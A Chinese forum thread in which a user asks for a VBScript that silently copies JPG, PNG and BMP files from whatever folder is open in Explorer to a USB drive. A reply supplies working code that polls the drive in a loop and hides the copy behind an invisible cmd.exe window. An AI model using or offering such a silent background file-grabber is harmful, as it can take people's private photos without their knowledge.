[问题求助] [已解决]大佬能不能帮忙写个vbs复制图片到U盘

abcdsys

各位大佬，能不能帮忙写个vbs，
需求是 后台复制当前打开的文件夹中图片格式的文件到U盘中，U盘的盘符不能确定。
感谢

czjt1234

Option Explicit
Dim oFSO, oShell, oRegExp, oDrive, s, i
 
WScript.Timeout = 3000    '指定多少秒后自动结束vbs
 
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oShell = CreateObject("Shell.Application")
Set oRegExp = CreateObject("VBScript.RegExp")
oRegExp.IgnoreCase = True
oRegExp.Pattern = "^file:///([c-z]:/.*)"
 
Do
    For i = 67 To 90
        s = Chr(i) & ":"
        If oFSO.DriveExists(s) Then
            Set oDrive = oFSO.GetDrive(s)
            If oDrive.DriveType = 1 And oDrive.IsReady Then
                Call copyPic(oDrive.Path)
            End If
        End If
    Next
    WScript.Sleep 1000
Loop
 
Sub copyPic(ByVal p)
    Dim j, s, oFolder, oFolderItems, oFolderItem
    p = p & "\"
    For Each j In oShell.Windows()
        If oRegExp.Test(j.LocationURL) Then
            s = oRegExp.Execute(j.LocationURL)(0).SubMatches(0)
        End If
    Next
    s = RePlace(s, "/", "\")
    Set oFolder = oShell.NameSpace(s)
    Set oFolderItems = oFolder.Items()
    oFolderItems.Filter &H40 + &H80 + &H10000, "*.jpg;*.jpeg;*.bmp;*.png"
    Set oFolder = oShell.NameSpace(p)
    For Each oFolderItem In oFolderItems
        If Not oFSO.FileExists(p & oFolderItem.Name) Then oFolder.CopyHere oFolderItem
    Next
End SubCOPY

未测试

abcdsys

回复 2# czjt1234


    感谢大佬，可以使用
还有一个问题，能不能静默复制，不要显示复制的进度条，还有可以指定复制到U盘的某个文件夹吗？
谢谢

czjt1234

Option Explicit
Dim oFSO, oShell, oRegExp, oDrive, s, i
 
Const p1 = "zy\11"        'U盘中的文件夹，前后都不要有\
 
WScript.Timeout = 3000    '指定多少秒后自动结束vbs
 
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oShell = CreateObject("Shell.Application")
Set oRegExp = CreateObject("VBScript.RegExp")
oRegExp.IgnoreCase = True
oRegExp.Pattern = "^file:///([c-z]:/.*)"
 
Do
    For i = 67 To 90
        s = Chr(i) & ":"
        If oFSO.DriveExists(s) Then
            Set oDrive = oFSO.GetDrive(s)
            If oDrive.DriveType = 1 And oDrive.IsReady Then
                Call copyPic(oDrive.Path)
            End If
        End If
    Next
    WScript.Sleep 1000
Loop
 
Sub copyPic(ByVal p)
    Dim j, s, oFolder, oFolderItems, oFolderItem
    p = p & "\"
    For Each j In oShell.Windows()
        If oRegExp.Test(j.LocationURL) Then
            s = oRegExp.Execute(j.LocationURL)(0).SubMatches(0)
        End If
    Next
    s = RePlace(s, "/", "\")
    Set oFolder = oShell.NameSpace(s)
    Set oFolderItems = oFolder.Items()
    oFolderItems.Filter &H40 + &H80 + &H10000, "*.jpg;*.jpeg;*.bmp;*.png"
    Set oFolder = oShell.NameSpace(p)
    p = p & p1 & "\"
    s = """" & p & """"
    For Each oFolderItem In oFolderItems
        If Not oFSO.FileExists(p & oFolderItem.Name) Then
            oShell.ShellExecute "cmd.exe", "/c copy """ & oFolderItem.Path & """ " & s,,, 0
        End If
    Next
End SubCOPY

jyswjjgdwtdtj

回复 4# czjt1234


    何必又用fso又用shell.application又用cmd呢

czjt1234

回复 5# jyswjjgdwtdtj


    隐藏复制的进度条

abcdsys

回复 4# czjt1234


    大佬，有个问题，如果电脑上有其他U盘的话就不行了，如果U盘盘符是确定的，比方说是G的话，或者是仅复制到这个vbs文件运行时所在的U盘里面，应该怎么修改代码，
感谢！

czjt1234

Option Explicit
Dim oFSO, oShell, oRegExp
 
Const p1 = "zy\11"        'U盘中的文件夹，前后都不要有\
 
WScript.Timeout = 3000    '指定多少秒后自动结束vbs
 
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oShell = CreateObject("Shell.Application")
Set oRegExp = CreateObject("VBScript.RegExp")
oRegExp.IgnoreCase = True
oRegExp.Pattern = "^file:///([c-z]:/.*)"
 
Do
    Call copyPic(oFSO.GetDriveName(WScript.ScriptFullname))
    WScript.Sleep 1000
Loop
 
Sub copyPic(ByVal p)
    Dim j, s, oFolder, oFolderItems, oFolderItem
    p = p & "\"
    For Each j In oShell.Windows()
        If oRegExp.Test(j.LocationURL) Then
            s = oRegExp.Execute(j.LocationURL)(0).SubMatches(0)
        End If
    Next
    s = RePlace(s, "/", "\")
    Set oFolder = oShell.NameSpace(s)
    Set oFolderItems = oFolder.Items()
    oFolderItems.Filter &H40 + &H80 + &H10000, "*.jpg;*.jpeg;*.bmp;*.png"
    Set oFolder = oShell.NameSpace(p)
    p = p & p1 & "\"
    s = """" & p & """"
    For Each oFolderItem In oFolderItems
        If Not oFSO.FileExists(p & oFolderItem.Name) Then
            oShell.ShellExecute "cmd.exe", "/c copy """ & oFolderItem.Path & """ " & s,,, 0
        End If
    Next
End SubCOPY

jyswjjgdwtdtj

回复 6# czjt1234


    额 copyhere可以加第二个参数的吧